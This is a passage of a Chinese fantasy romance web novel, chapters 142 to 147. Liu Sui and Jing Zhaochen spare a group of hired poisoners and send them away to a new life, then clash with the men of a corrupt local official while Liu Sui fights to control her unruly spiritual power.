她笑眯眯一一打量过,继续低头啜茶。 “真是好心思,一计不成又生一计,你们的主子也是个妙人!别说,若有机会,我还真想见见。” 十几人互望几眼。 “你们藏的那些破铜烂铁可伤不了我,还是快省省力气吧,不然到了黄泉该走不动道了!” 她依旧满面笑容,说出的话却让人如坠冰窟。 她手指轻点,随意指了几个人。 “指甲里的毒也不知浸泡了多久,就不担心我们还未死,你们就先毒发?” 柳岁叹口气,“算了,我大人不计小人过,就给你们个痛快,也省得你们受那万虫噬心的疼。” “......??” 一句没问,直接打杀? 这姑娘看着美似天仙,心竟这么狠的吗? “阿昭,饿不饿?要不咱们上街吃?” “好,都依你。” 两人笑意深深,就像屋中只有他们。 “城外可有空旷之地?” 一黑衣人闪身入内。 “有,且离此处不远。” 景昭辰笑,“岁岁不是一直控制不好体力灵力,反正他们都是要死的,不如就拿来练练手。” 瞧他们一个个面色已呈乌青色,就知命不久矣,为了杀他,背后的人还真是无所不用其极。 这些人的手上早已经浸满毒液,不管是他们沐浴用的热水,还是吃食,只需手指轻轻划入,他们都必死无疑。 这么多人,防不胜防! 可惜,那人还是小瞧了柳岁的本事,也算不出还有涂山。 景昭辰手中抱着个大大的油纸袋,里面全是刚买的小食,还冒着阵阵热气。 柳岁烫得直吸气,还不忘给景昭辰嘴里塞一块。 “是不是很香?吃习惯了家常饭,偶尔尝尝街边美食,感觉很不一样。” 涂山昂头,柳岁也给它丢一块鸡肉。 第142章 一家三口 “阿昭,我们这样像不像一家三口?” 柳岁两颊鼓鼓,像只贪食的小仓鼠。 景昭辰和涂山迅速对视一眼,旋即都嫌弃的移开目光。 他可不要一只蛇当儿子! 它可不要认这狗男人当爹! 柳岁摆手,“都一样的难伺候,谁也别嫌弃谁!” “......???” 他们自侧门出,不知为何,这里连个看守的士兵也不曾有。 郊外荒地野草都有半人高,风吹过,衣衫轻微作响。 那群人忍不住齐齐打了个寒颤。 有人悄悄把手掌摊开,早晨看着还正常,现在已然一片乌黑。 “咱们真中毒了。” 他喃喃低语,又难以置信地把身旁几人的手掰开。 一样黑得发紫! “所以打从一开始他就没想让咱们活?” 有人垂头,有人抹泪。 他们都拿了银钱,那些可是他们穷极一生也赚不到的,足可让妻儿、父母过得舒适些。 但,这前提是他们得有命花! 柳岁猛的驻足。 “你们觉得事情败露,你们的家人还能好好活着?” 既然她与景昭辰安然无恙,所有参与此事的人,不管知道多少内情,都会死,包括他们的家人。 只有死人嘴最严。 夕阳西沉,这里已听不到城中的喧闹,天边晚霞红得似一团火焰。 树下藤蔓垂下,自然形成个秋千。 柳岁高兴地小跑几步,坐在上面来回晃悠。 “现在说说你们都知道些什么?反正都是将死之人,说了,我救你们家人,不说,一家人整整齐齐下黄泉!” 挺着个大肚子的厨子最先站出来,搓了搓已经发麻的手掌,嗓门贼大。 “我说!早几日有人就给我们塞了银钱,说是等画像上的人来了就杀掉,然后付剩下的银钱,让我们离开晏城,去过舒服的日子。” 柳岁不耐摆手,“这个我知道,说别的!” 厨子咽了咽口水,“客栈原本的人昨晚不知被他们带去了哪,估计也是没命了的。” 他指了指景昭辰,被他的眼神吓得一个激灵。 “画像上就是这位公子,城内他们也安排了其他的人,可我真的不知。” “腐尸草可知道?” 厨子摇头,“不知道,他们就让我们用药汁泡手,没说是有毒的,我们也没见过。” 最先发现不对的年轻男人举了举手。 “他们都蒙着脸,看不清长相,但胳膊上都纹着个图案,像....对了,像太阳!” 柳岁微滞,脚踩地,藤蔓停下来。 “你瞧仔细了?确定是太阳?” 年轻男人重重点了点头。 “当时他们都挽了袖子,不过瞧那图案像是新纹上去的,但我确定是太阳的形状。” 厨子拧着眉,“姑娘,这小子是我们晏城的秀才,算是我们这群人中最见多识广的,要不是因为没有上京赶考的路费,他也不必.....唉。” 年轻男子垂下头,眼眶通红。 “大壮哥,你也是好心帮我一把,此事怪不得你。” 柳岁算是明白了,合着这些人就是群演,被人拉来当临时工的,完事了不付工钱,还要人家的命! 周扒皮也没这么黑心! 景昭辰一直很安静,手依旧搭在藤蔓上,不知在想些什么。 一时陷入沉默,气氛莫名有些压抑。 柳岁是在考虑到底要不要出手救他们,毕竟,他们算是间接受他们连累。 可,老话都说,斩草不除根,春风吹又生,他们这一次挡不住诱惑,下一次就能了吗? 可不是人人都懂吃一堑长一智的道理! 景昭辰似乎看出她的犹豫,轻轻握住她有些凉的小手。 “你若想救就救,这些人也并不知内情。” 其实骨子里他与柳岁是一类人,对那些视人命如草芥的人嗤之以鼻,若无必要,也不想多造杀孽。 年轻男子突然扑通跪在他们面前,重重磕了几个响头。 “我叫于良,家道贫寒,可道理也学了不少,这回确实是我们不对,这世间哪有天上掉馅饼的事,可我们都穷,一时被蒙蔽了双眼,不敢求你们救我们性命,只是大壮哥家上有八十老母,下有才出生的幼子.......” 柳岁挑眉,“于良你今年多大?” 于良道,“二十有一,考中秀才许多年,可囊中羞涩,一直凑不齐上京路费。” “家中还有何人?” 于良摇头,“父母早亡,不过一间草屋,勉强度日罢了。” 他自嘲一笑,“听说就算参加了科举,若无靠山,再有才学也无用武之地,我原是想放弃的。” 寒窗若读十余载,太想一展拳脚,可惜这世道,实在不给他们这样贫苦的学子活路。 “就非要入仕为官才算好前程?” 于良坚定摇了摇头,“并非如此,只是晏城虽大,却是很难寻得一份能养活自己与家人的活计。” 柳岁一脸困惑,“有手有脚,身体健全,哪怕种地也能糊口,我瞧着晏城也很是繁华。” 厨子叫张大壮,闻言挠了挠头。 “姑娘有所不知,这晏城看着繁华,其实.....内里早被掏空了,城中有个最大的赌场,也不知用了啥法子,引得年轻后生成日往那跑,不务正业,以前长街生意可旺着哩,可您瞧现如今。” 他长长叹了口气,“听说那赌场就是孙员外家的,可他家在京中据说有很强硬的靠山,百姓们敢怒不敢言,有点法子都离开晏城了。” 柳岁捏了捏景昭辰的手,见他不搭理自己,有些讪讪。 “孙员外可是那个要招婿的?” “对对,就是他,他看不上城中的年轻后生,但他的女儿孙枝枝又到了嫁人的年龄,这才想了这么个法子。” 柳岁没有想问的了,掏出个不起眼的瓷瓶塞到张大壮手中。 “给大家分了吧,一人一粒,半个时辰毒就可解。” 她顿了顿,“只是,如果有地可去,你们可愿离开晏城?毕竟我们还好好活着。” 柳岁虽在说话,眼睛却一直盯着张大壮的一举一动。 他拿到药并没第一时间自己服用,而是挨个分给大家,最后剩下的一粒才放到自己的嘴里。 第143章 伯乐不常有! 众人只觉头晕目眩,胃中更是翻江倒海。 于良身子瘦弱,最先受不住,捂着嘴跑到树后,哇地一声吐了个昏天黑地。 其余人也怕味道难闻熏到柳岁,都纷纷跑远了些,呕吐声此起彼伏。 “姑娘您不是说他们中的毒很厉害吗?” 柳岁不知从哪摘了几颗果子,递给景昭辰一颗,自己咬一口,果汁丰满,沁香酸甜。 “对呀,如果没遇到我,那肯定活不过今夜。” 景昭辰也咬一口,眉头微微蹙起。 “酸。” 江树策马,见到他们赶紧翻身下来。 “爷您和柳姑娘没事吧?” 景昭辰不悦地睨他一眼,神色冷肃。 “所以这就是你寻的客栈?竟连一丝异常也没发觉?” 江树垂头,像极了做错事的孩子。 “爷,全是属下的错,当时看着这间客栈干净,只嘱咐全换上新的被褥......” 他的声音越来越低,直至最后再也听不到。 身为一名暗卫,连这点警觉也没有,确实没什么好辩解的,这回若是没柳姑娘,就要出大事了。 “还请爷责罚,这回是属下太大意了!” 江树单膝跪下。 柳岁朝涂山使个眼色,涂山会意,悄悄溜到江树身后,张嘴。 “啊啊——” 江树捂着屁股一蹦三尺高。 “姑娘,您让它松嘴好不好?爷,求您赏属下十军棍吧!不不,二十也成,啊啊——” 直到柳岁再次点头,涂山这才慢吞吞爬到她脚边。 江树疼得满头大汗,其余众暗卫掩唇,肩膀抖得几乎要脱臼。 嘶,看着就疼,得引以为戒,千万再不能犯同样的错误! 军棍打着当然也疼,但比起屁股上多两个洞,还是要好点。 江树身上掉下本册子,柳岁捡起,慢慢翻看。 这是一本手稿,上面画着些奇怪的图腾,又像是一幅地图,文字标注也看不懂。 “这是哪来的?” 江树轻嘶,“属下觉得那什么员外有些古怪,就潜进他的宅子,结果在他书房发现了这个。” 柳岁捏着册子,景昭辰探过头来看。 “这是舆图,但不是大昭的。” 柳岁一听,忙把册子塞到景昭辰手里。 “这东西我看不懂,你自己看吧。” 江树此刻也忘了疼,像个碎嘴的婆娘。 “姑娘我跟你说,那员外的女儿遮得连眼睛也瞧不见,看身形倒是十分孱弱,听说琴艺了得,诗词歌赋样样精通。” “哎姑娘你说,要是真长得那么倾国倾城,干嘛捂得那么严实?像是生怕被人早早看到一样。” “我觉得其中必有古怪。” 柳岁被吵的脑袋里嗡嗡的,忍无可忍,大喝一声。 “闭嘴,不然还让涂山咬你!!” 江树讪讪,往后退了退。 就会用这个威胁他,嘤! 十几人相互搀扶着走过来,刚打算行礼,柳岁抬手制止。 “我这人从不讲这些虚的,说说日后的打算吧。” 于良惨白着张脸,唇边还沾着点黑色的血渍。 “于某日后全听姑娘差遣,还请姑娘指点明路!” 张大壮抓着头,有些羞臊,肤色实在太黑,也不知有没有面红耳赤。 毕竟这一次的事,是他起头,大家伙都是街坊邻居,有好事自然是要带着他们一起的。 家徒四壁,上有老下有小,有这等好事,脑子早就被扔到了九霄云外。 “这位姑娘,此次的事全是我一人之过,我娘说过害人之心不能有,可我为了点银钱......竟对从未谋面的陌生人动了杀念。” 张大壮扑通一声跪在柳岁面前。 “就砍我一人!他们都是受我连累,连是要杀人都不知,是我不该为了点银钱就泯灭良知。” 柳岁听他说得头头是道,倒不像个粗人,是读过几年书的,道理都明白,就是没抵挡住诱惑。 大是大非与金钱面前,一般人都会选择后者。 毕竟她与景昭辰对他们而言,只是无亲无故的陌生人,用他们的命换家人富足平安,这笔买卖划算。 见柳岁一直不说话,似笑非笑盯着自己,张大壮内心不免忐忑,说话也开始磕巴。 “姑.....姑娘......小的说的全是真......心话,还请您.....大人.....有大量,饶过他们。” “念过几年书?为何当起厨子了?” 张大壮一愣,“回姑娘话,是读了四五年私塾,可家中穷得都揭不开锅了,哪好意思一直让爹娘操劳。” 柳岁点头,表示理解。 “四五年也够了,一般的字都识得,如果给你们个活命的机会,但要举家离开晏城,你们可愿?” 众人默契地跪下,“还请姑娘指点明路,只要能谋个出路养活家人,在哪里都成。” 柳岁也不废话,朝着张大壮和于良招招手。 “你俩走近点。” 这群人既然互相识的,瞧着这张大壮又是他们之中能主事的,于良饱读诗书,一身才学却无可用之地。 当真是千里马常有,而伯乐不常有! 那她柳岁就当一回伯乐。 宁安私塾就两个先生,有个头疼脑热的,孩子们就放了羊,她为此事颇伤脑筋,如今现成的人放在眼前。 “于良,若叫你当个私塾先生,可会觉得屈才?” 于良摇头,神情十分郑重。 “我也想明白了,像我们这样的寒门学子即使中了那探花榜眼也是无用。” 他苦笑,又似自嘲。 “穷得连路费也凑不出来,更莫说入仕之后那些人情打点,怕是连茅草屋也住不起。” 柳岁笑了笑,“教书育人也很伟大,教导别人的同时,你也能更精进自己的学业,或许这天会变也不一定,机会永远只留给有准备的人!别到时能入仕了,学业却早早荒废了。” 于良聪明,一点就透,他有点心惊,不知这姑娘是何许人,敢说出这样的话,就不怕砍头? 算了,他都已经活不下去了,跟着这样坦坦荡荡的人,死又何妨! “于某全听姑娘的,您说要我们去哪?” 柳岁弯唇,凑到他们耳边低语了几句。 末了拍了拍于良的肩头,意味深长。 “不强求,只是那里如今百废待兴,比不得晏城繁华热闹,去不去要看你们自己的意思。” 第144章 爱屋及乌 景昭辰虽知柳岁想法,仍觉得她这回有点草率。 这些人信不信得过且放一边,就冲着他们为了点银钱便不分对错的想对陌生人下手,他实在是忧心。 他们搀扶着相继离开,脚步仍有些踉跄。 “阿昭,让你的人跟上去,没二心的,可放他们离开,但......就不必手下留情了。” 黑衣人颔首,离开前有些不确定的多了句嘴。 “可如果他们并未去宁安呢?” 柳岁看他一眼,“那也无妨,就算现在去了,如果心不甘情不愿,日后还是会离开,且看他们自己的打算。” 她和景昭辰站在原地未离开。 她想再赌一次人心。 但愿,等来的不会是失望。 如果他们回去转身就把她们卖了,他们身上残留的毒正好也不必花费心思去解了! 景昭辰有些迟疑,“岁岁,你确定他们一定不会背叛?毕竟咱们与他们不过一面之缘。” 柳岁轻捏了捏他的手,眼睛望着城中一盏盏亮起的风灯。 “我不确定,你再陪我赌这一回,总不能都是白眼狼。” 景昭辰知道,宋氏的事在她心里留下了抹不去的阴影。 虽非亲母,她却是一腔热忱,最后换来的是宋氏的百般刁难和无情离去。 有些话他没告诉柳岁,也没打算告诉她。 宋氏回京不久就在父母的撺掇下另嫁他人,那人官居正四品,乃工部侍郎何越。 四十有九的年纪,算不得大,但也不年轻了,膝下有两子三女,正妻病故,娶了宋氏为续弦。 她嫁过去的日子并不算好过,何越不算痴情之人,除宋氏外,又另纳两房妾室,年轻貌美,且入府时,有一妾室已经身怀有孕。 鸡飞狗跳自不必说,何越早早分了家,一大半分给了亡妻留下的子女,剩下为数不多的店铺和田产,也不过比寻常百姓强上那么一点。 宋氏在镇国公府时,虽也执掌中馈,可府中关系简单,一派和睦,柳齐的俸禄也是月月按时交到她手中。 可何越自打妻子死后,日日流连风月场,花起钱更是毫不心疼,包养的花魁没有十个也有八个。 宋氏哪里能忍,唠叨的多了,何越竟开始动手打她,有一就有二,宋氏脸上的伤就没好过。 宋氏也就三十出头,身子尚算康健,按说再生养几个也是不成问题,可何越烦她,不去青楼楚馆的日子,也是宿在妾室的院子里。 妾室的肚子越来越大,可宋氏却是有苦说不出。 何越的父母成天骂宋氏是别人用过的破烂货,还说她是只不下蛋的鸡。 也不知宋氏有没有后悔当初的决定? 柳岁见景昭辰一直凝眉沉思,自己坐去秋千上来回晃荡。 晚风习习,最后一抹微光也消失在天边。 “岁岁,你就不想知道宋氏的事?” 柳岁微怔,半晌才想起还有这么个人。 “不想,自打她离开,连个口信也不曾带回来,就算我不是她亲生,那安儿和恒儿呢?” 她自诩见过不少的人,可如宋氏这般狠心肠又自私的女人真的再一次刷新了她的三观。 就算她吃不得苦,不愿与柳家共进退,可好歹孩子是亲生,怎么舍得说丢就丢,甚至回京后都不曾询问过一次孩子的情况。 景昭辰也没继续这个话题,朝着远处看去。 黑衣人速度很快跃到他们身边。 “爷,柳姑娘,他们收拾了行囊出发去宁安了!” “无一人犹豫?” 黑衣人摇头,“并未,属下一直暗中盯着,他们就收拾了不多的细软,跟着姑娘派去的马车就离开了。” 景昭辰一只手背在身后,唇角微微扬了扬。 还没,他们没叫他的岁岁失望。 “期间有和什么人联系过或说过话吗?” 黑衣人依旧摇头。 “没有,就算回到家中,也只与家人简单说了几句,就毫不犹豫离开了。” 他说的这些信息,对柳岁无疑是种莫大的宽慰。 “好,知道了,你下去吧。” 黑衣人又迅速消失在夜色中。 柳岁浅笑,“阿昭我赢了噢!” 景昭辰也跟着笑,“嗯,我的岁岁怎么会输。” 两人手拉手,按来时的方向原路返回。 江风跟在他们不远的地方,身边是阴侧侧死盯着他的涂山。 江风,“........” 他压低了声音,也不管涂山是否能听懂。 “我不知你为何一直对我有这般大的敌意,但请相信,我不会伤害柳姑娘。” 涂山眯着眼,心道听你这意思是打算伤害那狗男人! 这可不行。 柳岁要护的人,它就算再不喜欢,也得护着! 爱屋及乌! 再说,那狗男人也还不算太糟糕,总是在柳岁看不到的时候给它喂生肉,说是这样才能长力气。 别说,它最近确实觉得精力充沛,也不再像从前总是昏昏欲睡,身子软绵绵。 涂山吐了吐蛇信子:呸,你给我安分点!小爷.....啊呸,不是,听柳岁说它是母的,老娘可不是那么容易骗的! 江风不再言语。 涂山时不时打量他几眼,大有一副你若敢做坏事,我一口咬死你的架势。 柳岁捅了捅景昭辰,忍笑。 “你觉得他是谁派来的?亦或者他是谁?” 景昭辰摇头,与她十指紧扣。 “左不过想要我命的人,既然他不动,我们也就佯装不知,看看他们下一步到底要做什么。” 柳岁应一声,拉着他的手小跑起来。 “哎呀,那什么招亲的该不会结束了吧?我还想去看看美人呢!你走快点啊喂!” 景昭辰语气中满是无奈。 “岁岁,你轻些。” 他觉得自己的手似被铁钳夹住,都能听到骨头嘎巴的声音。 “哎呀阿昭你怎么这么矫情,我能有多大力道,你如今简直就是个身娇体软易推倒的美人!” 景昭辰按了按眉心,怎么听都觉得这不是一句好话。 柳岁松开手,拍了拍紧闭着的西城门。 “刚才这里也无人看守啊,怎的这会门还锁上了。” “嘭——” 结实的漆木门重重朝里面倒下。 柳岁,“.......!!” 不会吧,不可能吧,这肯定不是她干的! 第145章 不知礼数的禽兽 景昭辰忍住笑,调侃,“这门也太不结实了,岁岁轻轻一拍怎的就倒了?” 柳岁,“.....这应该不是我干的吧?这门本来就是坏的吧?” 景昭辰的目光落在结实的锁头上。 柳岁,“......” 大力水手实锤了! 闻声跑下来的士兵,“.......这!门是你破坏的?” 柳岁摇头,一脸的无辜。 “这门该不会有质量问题吧?赶紧让换新的,万一真有那心存不轨之人,这么脆弱的门能挡得住?到时候先遭殃的不还是你们吗?小哥,你说是不是?” 士兵先是一怔,旋即点点头,又很快摇摇头。 “不对啊,这门上个月才换的,上好的红木,最是坚不可催。” 他狐疑的打量几眼景昭辰和柳岁。 男的高挺,女的娇俏,就是比寻常小夫妻漂亮些,应该没这么大的力气和胆量。 “姑娘提醒的是,可能是工部那边偷工减料了,我得赶紧把这事上报给孙员外。” 柳岁的神情冷了冷,不再理会那士兵,拉着景昭辰就走。 这个朝代,每个城镇不分大小,都会有朝廷派下的城守,就像冯震那样的官员。 可这晏城当真奇怪,有事不上报城守,竟是要先告知一个员外郎! 可想而知,这孙员外在晏城几乎算是只手遮天的人物了! 赌场是他的,柳岁一点也不觉得惊讶。 “阿昭,我们多留两日可好?” 景昭辰眼时含着笑意,风灯的光笼住他,灿如星河。 “岁岁是想还晏城一个太平?” 柳岁倒也不瞒他,老实点头。 “既然这事被咱们遇上了,自然是要管上一管,百姓何其无辜,晏城何其无辜。” “那岁岁可有想过,除掉一个孙员外并不难,但可能会有第二个,第三个孙员外!” 柳岁还未开口,就听得不远处传来喧闹声。 街头巷尾几乎被围得水泄不通,绣球被年轻的公子哥们抛来丢去,就是无人接。 “咚——” 绣球正中柳岁脑门,她疼得龇牙咧嘴,弯腰才把绣球拾起来。 一中年男子急匆匆跑过来,身着一袭鸦青锦缎长衫,墨发束得一丝不苟。 “还请姑娘将绣球归还,在下乃孙员外府上的管家!” 柳岁正打算还,结果他又不屑地看了她几眼。 “你一个姑娘家跑来和一群大老爷们凑什么热闹?难不成是想趁这风头,自个也寻个俊俏郎君?” 年轻公子们一开始还窃窃私语,最后哄堂大笑。 “你家小姐美不美我们还真不知道,可这姑娘是真的漂亮!” “姑娘你要择婿吗?看我如何?” 管家的脸色阴沉。 “瞧着也不是好人家的姑娘,正经的闺阁小姐怎么会抛头露面,出现在这样的地方!赶紧滚!别坏了我家小姐的好事!” 柳岁,“......” 莫名其妙头上被砸了个包,她一句话都没来得及说,这什么管家噼里啪啦说一通,已经直接把她定性为品行不端的女子了!! 景昭辰低笑一声,“你再说一遍!” 管家被他周身的气势吓的缩了缩脖子,但想到自己的主子可是这城中说一不二的人,赶紧使劲挺了挺腰。 “滚滚滚!一看你们就是外来的,知道我家孙员外是什么人吗?敢来此处捣乱,是嫌命长吧!” 柳岁摇头,把绣球举过头顶。 “不知,难不成你口中那孙员外是恶虎猛兽不成?你们小姐的绣球砸到了我,就要把我咬死?” 她捂着胸口,夸张的后退,一脸惊恐。 “孙员外的府上就无人?” 管家怔忡,一时没明白她话中的意思。 难道他这么大个活人站在她面前,她看不到?瞎啊! 他正打算破口大骂,就见柳岁笑盈盈地继续道。 “全是一群不知礼数的禽兽!” 最怕空气突然安静。 柳岁却似毫无所察,“想要绣球?行,道歉!” 管家鼻中冷哼,“让我道歉的人还没出生呢!你一个黄毛丫头张嘴就敢让员外府的人道歉!我看你真是活腻歪......” 他啊啊啊地直接飞了出去,身子重重砸在绣楼上,又落回到地上,身下的血蔓延开。 “啊,杀人了!死人了啊!” “快跑!” “孙员外可不是好招惹的,赶紧跑吧!” 有人提醒他们一句,脚下不敢停。 柳岁埋怨,“阿昭,你怎么动手前也不与我提前讲一声?” 景昭辰一脸问号。 “我......根本没出手。” 柳岁又看一眼隐在人群中的暗卫。 他们齐齐摇头,再说他们离得那么远,轻功再好也到不了这程度! 柳岁指着自己的鼻子,“难不成是我?” 景昭辰笑着嗯一声,半俯身替她揉了揉额头上肿起来的包。 “疼吗?回去替你涂些药膏。” 柳岁依旧难以置信。 “是我?真是我?我怎么不知道是我?” 景昭辰嘴角抽了抽。 “好了别怀疑,真是你,我说过了,你现在还控制不了体内灵气,它大概是感受到了你的愤怒。” 柳岁使劲拍了拍胸脯,啪啪作响,听得景昭辰一阵唏嘘。 “你怎么就是不听我的话呢?在我身体里,还敢捣乱,信不信我让涂山咬死你?” 景昭辰握着她的手,长叹口气。 “别拍了,本来就不大。” 柳岁,“.......” 正想给他后脑勺上来一把,又想到灵气不受控的事,猛地缩回已经伸出一半的手。 涂山更无语。 现在有事没事,她的口头禅就是放涂山咬你! 它是圣蛇,不是狗啊! 再说她体内灵气那么霸道,别说咬了,估计它才起那心思就被震的五脏俱裂了! 涂山悄悄躲在景昭辰的袍角下。 这狗男人在紧急关头还是有点用处的! “爷,有人来了。” 他们放眼看去,一大群家丁手里拿着棍棒朝这方向气势汹汹走过来,嘴中还骂骂咧咧。 “滚开,眼瞎了?把路让开!” “哪个不要命的敢伤员外府上的人?” “不相关的人赶紧的滚!今天这恶徒必死无疑!” 柳岁翻了个大大的白眼,自打与景昭辰相识以来,这一句必死无疑听得耳朵都起老茧了。 他们这是挖了谁的祖坟啊!动不动就必死无疑! 第146章 女奥物曼! 柳岁躲在景昭辰身后,眼神别提多无辜,身子微微发着抖,似乎是被这阵仗吓得狠了。 景昭辰眼中闪过笑意。 “所以你们当如何?” 他朝绣楼的方向抬了抬下巴。 “人不是还没死,确定不寻个郎中来给他瞧瞧?” 领头的脸色阴沉,挥舞着手中的棍棒。 “我们如何行事,还轮不到一个外人插手,再说管家若真死了,那也是你们动的手,与我们何干?” 柳岁心道这大概就是古代版的职场争斗吧,那管家若是没命,位置自然就空出来。 听说每个府上管家的例银都比别的下人要高出许多。 这也难怪有人眼红。 “他死了你才好顶替他的位置?所以不肯寻郎中来给他瞧!啧啧,你这人心都是黑的!” 那人的脸迅速变了变,厉声喝斥。 “胡说八道什么,他可是我叔叔,没人比我更希望他活着!再说,瞧他流那么多血,肯定是没救了的,你别在这颠倒黑白!” 他朝后面挥挥手,“弟兄们就是这两人伤了管家,都给我上,绑起来交给孙员外处置!” 柳岁朝着管家方向看一眼,却见绣楼的帘子轻轻被撩开,身影晃动,瞧着是个女子。 “今日可是你家小姐招婿,你们这么一闹,还如何进行得下去?就不怕你家那啥玩意员外生气?” 领头男子轻哼,目露不屑,嗓门更高了几分。 “废什么话!人是你们杀的,小姐的招亲也是闹黄的!” 他打量景昭辰,一脸的不怀好意。 “我瞧这公子长的就不错,绑回去当我家员外的上门女婿也不错。” 景昭辰正欲出手,却见柳岁迅速朝他眨了几下眼,他只得无奈的束手就擒。 自己的女人想看戏,能怎么办,只能宠着呗! 见景昭辰识时务,男子狞笑看向柳岁。 “这小娘们长得倒是不错,回去陪哥几个快活一夜,到时我大发善心,赏你个全尸如何?” 他大笑着挑起柳岁的下巴。 “瘦是瘦了点,但别说,这长得跟画上仙女似的,哥几个今夜有福喽!” 柳岁直起身,娇躯柔弱得似一阵风就能吹跑。 “行啊,但就要看你们有没有命撑到那时候了!” 她一字一字清晰冷漠,那眼神更是如同在看一群死人。 “你们太聒噪了!我不喜欢!” 他们都已经上赶着来送死了,她何必还要顾及! 干就完了! 那男人蹙着眉,一双三角眼盯着柳岁,神色不愉。 “小娘皮嘴还挺硬!等到时在哥的身下,看你如何求饶!” “啪啪——” 两个大耳瓜子,打得他的头直接偏去一边,耳朵里嗡嗡直响。 他呸一声,血沫子里夹着两颗牙。 “老子小看你了!还是个泼辣的,不过,老子喜欢!” 他两手成爪,“哈哈,过来让老子亲一口。” 景昭辰叹口气,打开折扇。 涂山也探出小脑袋。 你说奇怪不,有些人放着好好的日子不过,非要找死! 柳岁咬牙,垂着头,似是在自言自语。 “你要是一直不听我的话,那就滚吧!我没灵气,也活这么大了!” 丹田一片死寂。 “你既在我身体中,自然得听我的话!” 说完,她自己先笑开了,状如疯癫。 众人面面相觑。 长这么漂亮,竟然是个疯婆子! 可惜了! 柳岁脑海中浮现出景昭辰使轻功时的样子,也轻轻跺了跺脚。 想象中的飞檐走壁没发生,青石的地面出现一个深坑,要不是景昭辰适时拉了她一把,估计她得掉进去。 柳岁,“......我草!这他妈什么操作?不是说让你好好听话!” 她已经算是好脾气的人了,自打穿越过来,从未骂过脏字,一是想当几小只的表率,再来,她也是真的想当个名门闺秀,别给镇国公府抹黑! 可,天不遂人愿! 这该死的灵气是和她扛上了!! 她满心满脑子想的都是要飞到屋顶上,结果,地被跺了个坑! 所以她其实是前来拯救这个朝代的奥特曼? 还是个新版女奥特曼! 景昭辰的眼底透着无尽的戏谑,柳岁对上他的眸,咬牙切齿。 “你还笑!告诉我到底该如何控制它?” 景昭辰老实地摇摇头,“我虽习武,但内力和灵气还是有很大区别的,我是真的不懂。” 凡事都有规律,只是柳岁如今尚未摸清罢了。 柳岁眼里浮起满满的愠怒,她不喜欢这种被摆布的感觉,会感到莫名的恐惧。 她手中多了根银针,“那,若不需要这灵气,是不是毁了丹田就可?” 景昭辰微怔,旋即死死握住她纤细的皓腕,声音中是说不出的愤怒。 “胡说什么,这样做你会死的!到时我该如何自处?” 柳岁毫不犹豫抽出手,神色平静,语气淡淡。 “不然我就得一直被它控制,与你玩闹都怕力道过大伤到你,若是一直找不到法子,难道一辈子与你保持距离?” 领头的男子被揍得七荤八素,好容易爬起来,牙也不知被打落了几颗,说话直漏风。 “好你个娘皮,敢打老子,今日就让你瞧瞧我的厉害!” 柳岁正烦躁,不耐烦地扬手。 “啪——” 男子的脸上留下个清晰的巴掌印子。 柳岁滞了滞,旋即又抬起手。 “啪——” 左脸上也一巴掌,五指清晰可见。 “哇噢,原来打人是这么爽的事吗?” 她笑,继续扬手。 领头的男子很快被揍得娘都不认识! 柳岁又试着去牵景昭辰的手,这一回是用了正常的力度,见他并不似以往那般痛苦的神情,这才不确定的小心开口询问。 “阿昭,疼吗?” 景昭辰摇头,“不疼,跟你从前握我的手时一样的感觉。” 柳岁将银针收起,灯光下,她一张如玉的小脸冷如冰霜。 “好好商量你不听,非得威胁才行,这不是典型的犯贱吗?对了,忘了告诉你,我有既能毁了你,也伤害不到自己的法子。” 旋即她似想到了什么,笑的眉眼弯弯。 “尸虫活着时对人伤害极大,可一旦入药,效果非凡,毁得你连渣也剩不下!” 第147章 眼珠子! 柳岁也不知自己是不是真疯了?换成以前,她是绝对不可能相信这种玄幻之事的。 如今,她不止相信了,竟威胁起这看不着也摸不到的灵气了! 可女人的第六感告诉她,不光圣蛇,就连体内这股什么圣女之力也是能听懂她说的话的! 不管祖母还是长白道人,都一直在重复一句话:既择一主,终生不悔! 她想她应该就是这神秘力量选择的主子。 既然她是主,自然一切要由她说了算! 一时间心中五味杂陈。 不可思议,难以置信,都改变不了现实。 她得试着接受,从容面对。 既来之,则安之! 她又跺了跺脚,这一回如愿以偿的跃到了屋顶,只是没得意多久,听得嘭一声,瓦石在她脚下碎成粉末。 景昭辰,“.......” 柳岁抱着翘起的檐角,眼角使劲跳了跳。 “你看热闹看够了没?还不过来救命!” 景昭辰失笑,语气中带着满满的笑意,他挑了挑眉,饶有兴味凝视着柳岁。 “唤一声夫君听听。” 柳岁咬牙,奈何体内的灵气跟死了一样,她手臂找不到借力的点,身体一点点往下滑。 “啊啊,救命,夫君,好夫君!” 品味着这几个字,景昭辰脚尖轻点,转瞬就到了她眼前。 衣袂翻飞,笑声被夜风轻轻吹散。 “我喜欢这称呼,听着就令人心情愉悦。” 他揽住柳岁的腰,特意在空中转了两圈,这逼装的简直满分! 柳岁腹诽,又暗暗捶打几下丹田处。 她轻嘶,那里却是一片死寂。 今夜她经历了大起大落,一颗心就如同井里的桶,七上八下! 刚得意于自己的威胁起了作用,结果这厮直接罢工了! 仅凭这一点装死的功夫,就与涂山有得一拼! 景昭辰没有舌灿莲花的本事,也不大会哄女子,可偏偏他说的每一个字都印在了柳岁心上。 一句夫君,他脸上的笑几乎满的快要溢出来,那种发自内心的欢喜是作不得假的。 “岁岁,有些事急不来,你得学会慢慢引导它为你所用。” 柳岁轻叹口气。 她的事倒不急,可眼前这群人总不能真的全杀了吧? 她看向景昭辰,可他神色淡淡,一副事不关己的模样。 “岁岁拿主意,我听令行事。” 一边说,一边松开了揽着柳岁的手,往墙边退了退。 柳岁,“.......你这是打算袖手旁观?” 景昭辰眨了眨眼,眼神有些可爱。 “无需我出手,你一人也能搞定的。” 柳岁觉得他站立的姿势有些怪异,定睛一看,气笑了。 涂山这怕死的玩意,死死盘着景昭辰的腿,眼睛紧紧闭着。 那群人还真有不怕死的,冲出来,指着柳岁的鼻子。 “你是打哪冒出来的小娘皮?胆子倒不小,杀人偿命懂不懂?你还在这闲聊上了!” 柳岁摆手,“你先等会。” 趴在地上的管家终于努力抬起胳膊。 “救命!” 就没人看看他吗?他还没死啊!他觉得自己还能抢救一下的! “对对,你们先去替他叫个郎中过来,迟了怕是大罗神仙也难救了。” 她声音很急,带着不容置疑,仿佛是真的很关心管家的伤势。 有人真就小跑着朝西城去。 “管家您再撑一会,小的这就是去喊郎中来。” 领头的男子咬紧后槽牙,一张嘴,血沫子乱溅。 “混账东西,你们到底是听谁的?咳咳,还不给我回来.....” 他的声音哑得似破了的铜锣,渐渐淹没在喧闹声中。 他被人扶着勉强才能站着。 